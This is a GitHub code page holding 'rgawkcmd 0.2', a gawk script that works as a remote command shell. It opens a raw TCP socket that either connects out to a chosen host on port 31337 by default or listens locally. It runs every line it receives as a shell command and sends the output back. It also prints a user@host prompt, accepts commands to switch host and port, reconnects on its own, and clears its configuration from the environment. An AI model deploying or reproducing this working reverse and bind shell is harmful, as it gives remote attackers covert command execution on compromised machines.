-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathrgawkcmd-0.2.gawk
181 lines (148 loc) · 3.42 KB
/
rgawkcmd-0.2.gawk
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
#!/usr/bin/gawk -f
BEGIN {
CONFIG_FROM_ENV=1
RGC_KEY = 0
if (CONFIG_FROM_ENV == 1) {
if (length(ENVIRON["RGC_HOST"]) > 0) {
HOST = ENVIRON["RGC_HOST"]
delete ENVIRON["RGC_HOST"]
}
if (length(ENVIRON["RGC_RPORT"]) > 0) {
RPORT = ENVIRON["RGC_RPORT"]
delete ENVIRON["RGC_RPORT"]
}
if (length(ENVIRON["RGC_LPORT"]) > 0) {
LPORT = ENVIRON["RGC_LPORT"]
delete ENVIRON["RGC_LPORT"]
}
if (length(ENVIRON["RGC_KEY"]) > 0) {
RGC_KEY = ENVIRON["RGC_KEY"]
delete ENVIRON["RGC_KEY"]
}
if (length(ENVIRON["RGC_MODE"]) > 0) {
RGC_MODE = ENVIRON["RGC_MODE"];
delete ENVIRON["RGC_MODE"];
}
}
if (RGC_MODE == "")
RGC_MODE = "remote"
if (RGC_MODE == "listen") {
#make sure the listen string makes sense
} else if (RGC_MODE == "remote") {
#make sure the remote string makes sense
} else {
print "ERROR: " RGC_MODE " is not a valid mode."
exit
}
if (HOST == "")
HOST="localhost"
if (RPORT == "")
RPORT=31337
if (LPORT == "") {
if (RGC_MODE == "remote") {
LPORT=0
} else {
LPORT=31337
}
}
if (RGC_KEY != 0) {
AUTHED=0
} else {
AUTHED=1
}
#Open socket
#/inet/tcp/local_port/remote_host/remote_port
if (RGC_MODE == "remote") {
CONSTRING = LPORT "/" HOST "/" RPORT
} else if (RGC_MODE == "listen") {
CONSTRING = LPORT "/0/0"
} else {
print "ERROR: Ya done messed it up real good son."
exit
}
print rgc_version() " starting up"
RCON = "/inet/tcp/" CONSTRING
# if (AUTHED == 1) {
# printf("rgawkcmd 0.1 :: athis\n") |& RCON
# }
while (1) {
readstat = RCON |& getline
if (readstat != 1 || RCON == 0) {
#connection has closed
print "Connection closed. Trying to reopen."
close(RCON)
if (RGC_KEY != 0) {
AUTHED = 0
}
RCON = "/inet/tcp/" CONSTRING
continue
}
if (length($0) > 0) {
if (AUTHED == 1) {
if ($1 == ":") {
#side-channel command
sidecmd = $0
sub(/^\: /, "", sidecmd)
print "sidecmd: '" sidecmd "'"
print "1: " $1
print "2: " $2
print "3: " $3
if ($2 == "quit") {
print rgc_version() " shutting down." |& RCON
exit
} else if ($2 == "lport") {
LPORT = $3
HOST = 0
RPORT = 0
print rgc_version() " changing to listen on port " LPORT |& RCON
close(RCON)
CONSTRING = LPORT "/0/0"
RCON = 0
} else if ($2 == "rport") {
RPORT = $3
print rgc_version() " remote connecting to port " $3 |& RCON
close(RCON)
CONSTRING = LPORT "/" HOST "/" RPORT
RCON = 0
} else if ($2 == "rhost") {
if (length($4) > 0) {
RPORT = $4
}
print rgc_version() " connecting to " $3 "/" RPORT |& RCON
HOST = $3
CONSTRING = LPORT "/" HOST "/" RPORT
RCON = 0
}
#print "side channel commands not yet supported" |& RCON
}
else {
DataPipe = ($0)
while ((DataPipe | getline) > 0) {
print $0 |& RCON
}
close(DataPipe)
}
} else {
if ($0 == RGC_KEY) {
AUTHED = 1
printf("rgawkcmd 0.1 :: authenticated\n") |& RCON
}
}
}
if (AUTHED == 1) {
whoami = ("whoami")
whoami | getline c_user
close(whoami)
hostname = ("hostname")
hostname | getline c_host
close(hostname)
datetime = ("date \"+%F %T-%Z\"")
datetime | getline c_time
close(datetime)
printf("\n%s\n%s@%s > ", c_time, c_user, c_host) |& RCON
}
}
}
function rgc_version () {
return "RGawkCmd 0.2"
}